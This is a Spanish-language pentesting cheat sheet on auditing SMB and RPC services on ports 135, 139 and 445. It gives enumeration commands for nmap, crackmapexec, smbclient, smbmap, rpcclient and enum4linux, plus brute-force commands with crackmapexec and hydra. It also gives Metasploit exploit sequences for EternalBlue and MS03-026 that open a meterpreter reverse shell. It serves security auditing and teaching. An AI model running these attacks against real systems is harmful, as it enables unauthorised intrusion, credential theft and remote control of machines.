🔍Puertos - 139,445 SMB
🔍 Auditoría de Puertos 135,139/445 - SMB - RPC
Los puertos 139 y 445 son utilizados por el protocolo SMB (Server Message Block), que permite compartir archivos e impresoras en redes Windows. Debido a su importancia, es un objetivo frecuente en auditorías de seguridad.
Resumen de Herramientas y Técnicas SMB
Esta guía cubre las principales herramientas y técnicas para auditar servicios SMB/Samba en los puertos 135 y 445.
Herramientas Principales
🔍 smbclient y smbmap: Interacción con recursos compartidos
🔧 rpcclient: Consultas RPC a servidores SMB
🛠️ Nmap + Scripts NSE: Enumeración y detección de vulnerabilidades
🔨 Metasploit: Módulos específicos para pruebas
Proceso de Auditoría Recomendado
Enumeración inicial con smbclient,smbmap,crackmapexec y Nmap
Análisis de vulnerabilidades con scripts NSE
Enumeración detallada con rpcclient
Post-explotación y montaje de recursos
Búsqueda de información sensible (en otro módulo)
🔹Herramientas esenciales para está auditoria:
Smbclient
Smbmap
rpcclient
Nmap
Crackmapexec
🔹Puertos importantes:
135 (RPC)
445 (SMB)
137-139 (NetBIOS)
🔹Vulnerabilidades comunes:
EternalBlue
SMBGhost
PetitPotam
SMBleed
🕵️ Reconocimiento e identificación del Servicio SMB
Determinar la versión del servicio SMB es fundamental para detectar posibles vulnerabilidades. Podemos hacerlo de varias maneras:
🔹 Reconocimiento con Nmap
nmap -p 139,445 --script smb-os-discovery <ip_victima>
nmap -p 139,445 --script smb-protocols <ip_victima>
nmap -p 139,445 --script smb-security-mode <ip_victima>
nmap --script "smb-enum-*" -p445 <ip_victima> # Lanzar todos los scripts de reconocimiento.
nmap --script smb-enum-shares -p 139,445 <ip_victima> # Identificación de Recursos Compartidos
nmap --script smb-enum-users -p 139,445 <ip_victima> # Identificación de Recursos Compartidos
💡 Importante: SMBv1 es altamente vulnerable y puede ser explotado con herramientas como EternalBlue.
🔑 Uso de CrackMapExec para Enumeración de Usuarios y Recursos
crackmapexec smb <ip> # Realiza un escaneo básico de SMB en el host especificado.
crackmapexec smb <ip> -u '' -p '' --shares # Lista los recursos compartidos sin credenciales mediante una null session.
crackmapexec smb <ip> -u <usuario> -p <password> --shares # Lista los recursos compartidos proporcionando unas credenciales validas.
crackmapexec smb <ip> -u <usuario> -p <password> --users # Enumera los usuarios del sistema SMB del objetivo.
crackmapexec smb <ip> -u <usuario> -p <password> --groups # Lista los grupos de usuarios en la máquina SMB objetivo.
crackmapexec smb <ip> -u <username_wordlsit.txt> -p <'contraseña'> --continue-on-success # Probar para una lista de usuarios una misma contraseña.
Estos comando nos permite identificar la versión de SMB, recursos compartidos, usuarios y políticas de seguridad.
🔑 Uso de CrackMapExec para fuerza bruta
crackmapexec smb <ip> -u <username> -p <ruta_wordlist.txt> # Realizamos un ataque de fuerza bruta.
🔑 Uso de Smbclient y Smbmap para enumeración de usuarios y recursos
SMBMap y Smbclient permiten enumerar recursos compartidos y permisos.
smbclient -L <ip> -N # Intentamos listas los recursos compartidos con una null session.
smbmap -H <ip> # Realizamos el mismo escaneo que antes, pero esta vez no arrojará información de los permisos que tenemos para cada directorio.
smbclient //<ip>/<recurso> -N # Con este comando accederemos al recurso al que tengamos acceso.
smbmap -H <ip> -r <recurso> # Listamos el contenido del recurso al que apuntamos.
smbclient //<ip>/<recurso> -U <usuario>%<contraseña> # Listamos recursos con credenciales.
smbmap -H <ip> -u <usuario> -p <contraseña> -d <ominio> # Enumeración con credenciales
smbmap -R <carpeta> -H <ip> -A <archivo> -q # Descarga un archivo a tu maquina local.
💡 Comando útiles cuando consigues acceso:
dir # Listar contenido
get <nombre_archivo> # Descargar archivo
mget *.txt # Descarga múltiples archivos
put <nombre_archivo> # Subir archivo
cd folder # Cambiar directorio
🔑 Uso de Metasploit para enumeración de usuarios y recursos
msfconsole -q
use auxiliary/scanner/smb/smb_version
set RHOSTS <ip_victima>
run
🔹Enumeración de Recursos Compartidos en SMB
masconsole -q
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <ip_victima>
run
🔹 Ataque EternalBlue (MS17-010) en SMB
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <ip_victima>
set LHOST <tu_ip>
set LPORT 4444
exploit
🔑 Enumeración con Enum4Linux
Enum4linux es una herramienta wrapper que utiliza las utilidades de Samba para enumerar información:
enum4linux -a <ip> # Enumeración completa.
enum4linux -U <ip> # Enumeración de usuarios.
enum4linux -u <usuario> -p <password> -S <ip> # Enumerar shares con autenticación
enum4linux -a -u "" -p "" <ip> # Enumerar con null session
🔍 Auditoría del Servicio RPC con RPCClient y Metasploit
El puerto 135 (RPC) es un servicio en sistemas Windows que permite la comunicación entre procesos distribuidos. Este puerto es clave en la administración remota.
🕵️ Reconocimiento del Servicio RPC (Puerto 135)
nmap -p 135 --script=rpcinfo <ip_victima> # Identificar versión rpc.
🔑 Enumeración del Servicio RPC con RPCClient
🔹 Conexión al Servicio RPC
rpcclient -U "" <ip_victima> # Sin credenciales.
rpcclient -U "<usuario>%<contraseña>" <ip_victima> # Con credenciales.
enumdomusers # Enumeración de Usuarios en el Sistema
querygroup # Obtener Información de los Grupos
querydominfo # Identificar el Nombre del Dominio
lsaenumsid # Obtener SID del Dominio
El comando rpcclient de Samba nos permite interactuar con el servicio RPC para extraer información sobre el sistema Windows.
🚀 Ataques al Servicio RPC con Metasploit
🔹Escaneo de Servicios RPC con Metasploit
msfconsole -q
use auxiliary/scanner/dcerpc/endpoint_mapper
set RHOSTS <ip_victima>
exploit
🎯 Explotación del Servicio RPC
use exploit/windows/dcerpc/ms03_026_dcom
set RHOSTS <ip_victima>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tu_ip>
set LPORT 4444
exploit
🛠️ Ataque de Fuerza Bruta en SMB con Hydra
Podemos utilizar Hydra para realizar ataques de fuerza bruta sobre SMB:
hydra -L <diccionario_usuarios.txt> -P <diccionario_passwords.txt> smb://<ip_victima>
Last updated